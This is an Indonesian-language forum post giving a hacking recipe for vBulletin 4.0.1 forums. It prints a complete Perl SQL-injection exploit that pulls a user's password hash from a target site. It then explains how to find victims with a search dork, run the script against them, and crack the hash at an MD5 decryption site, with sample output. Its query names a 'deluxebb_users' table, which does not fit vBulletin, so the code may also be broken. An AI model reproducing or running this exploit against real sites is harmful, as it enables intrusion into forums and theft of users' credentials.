Cara Hack Vbulliten

assalamu alaikum WR.WB..
langsung sja

Bumbu yg harus di sediakan:

1. Active Per [You must be registered and logged in to see this link.]
2.Notepad dan copas code ini.

#!/usr/bin/perl
use IO::Socket;

print q{
################################################## #####################
# vBulletin? Version 4.0.1 Remote SQL Injection Exploit #
# By Crash_Override #
# [You must be registered and logged in to see this link.] #
# Dork: Powered by vBulletin? Version 4.0.1 #
################################################## #####################
};
if (!$ARGV[2]) {
print q{
Usage: perl VB4.0.1.pl host /directory/ victim_userid
perl VB4.0.1.pl [You must be registered and logged in to see this link.] /forum/ 1

};
}

$server = $ARGV[0];
$dir = $ARGV[1];
$user = $ARGV[2];
$myuser = $ARGV[3];
$mypass = $ARGV[4];
$myid = $ARGV[5];
print "------------------------------------------------------------------------------------------------\r\n";
print "[>] SERVER: $server\r\n";
print "[>] DIR: $dir\r\n";
print "[>] USERID: $user\r\n";
print "------------------------------------------------------------------------------------------------\r\n\r\n";
$server =~ s/(http:\/\/)//eg;
$path = $dir;
$path .= "misc.php?sub=profile&name=0')+UNION+SELECT+0,pass ,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0​ ?,0,0+FROM%20deluxebb_users%20WHERE%20(uid= '".$user ;

print "[~] PREPARE TO CONNECT...\r\n";
$socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$server", PeerPort => "80") || die "[-] CONNECTION FAILED";
print "[+] CONNECTED\r\n";
print "[~] SENDING QUERY...\r\n";
print $socket "GET $path HTTP/1.1\r\n";
print $socket "Host: $server\r\n";
print $socket "Accept: */*\r\n";
print $socket "Connection: close\r\n\r\n";
print "[+] DONE!\r\n\r\n";

print "--[ REPORT ]------------------------------------------------------------------------------------\r\n";
while ($answer = <$socket>)
{
if ($answer =~/(\w{32})/)
{
if ($1 ne 0) {
print "Password is: ".$1."\r\n";
print "--------------------------------------------------------------------------------------\r\n";
}
exit();
}
}
print "------------------------------------------------------------------------------------------------\r\n";


3. Save dgn nama vb4.pl

Cara masak: Posted Image
1. Jalankan vb4.pl dgn mnggunakan CMD
Penampakanx kira2 bgini Posted Image

Quote
C:\Documents and Settings\Administrator\My Documents\My Perl Exploit\vb4.0.1.pl"

2. Cari target, DORK: " Powered by vBulletin? Version 4.0.1 "
3. Pilih mana suka. Posted Image
4. Example : [You must be registered and logged in to see this link.] Posted ImagePosted Image
5. Buka CMD dan masukkan website


Quote
C:\Documents and Settings\Administrator\My Documents\My Perl Exploit\vb4.0.1.pl" [You must be registered and logged in to see this link.] /forum/ 1


6. Injak Enter..

Walaa... This is it:

[>] SERVER: [You must be registered and logged in to see this link.]
[>] DIR: /forum/
[>] USERID: 1
--------------------------------------------------------------------------------
----------------
[~] PREPARE TO CONNECT...
[+] CONNECTED
[~] SENDING QUERY...
[+] DONE!
--[ REPORT ]--------------------------------------------------------------------
----------------
Password is: 801a2e0624793357acbd5bbd8bf434bf
--------------------------------------------------------------------------------
------



Untuk password , Ke md5decrypter.com



#Kami Dari TeamElite N4 Memberikan Sebuah File2 Yang Anda PerluKAn#
#======================N4==============================#
#Bila Anda Kurang Mengerti Hubungi Gw Aje Gan#
#======================N4==============================#

FB: [You must be registered and logged in to see this link.]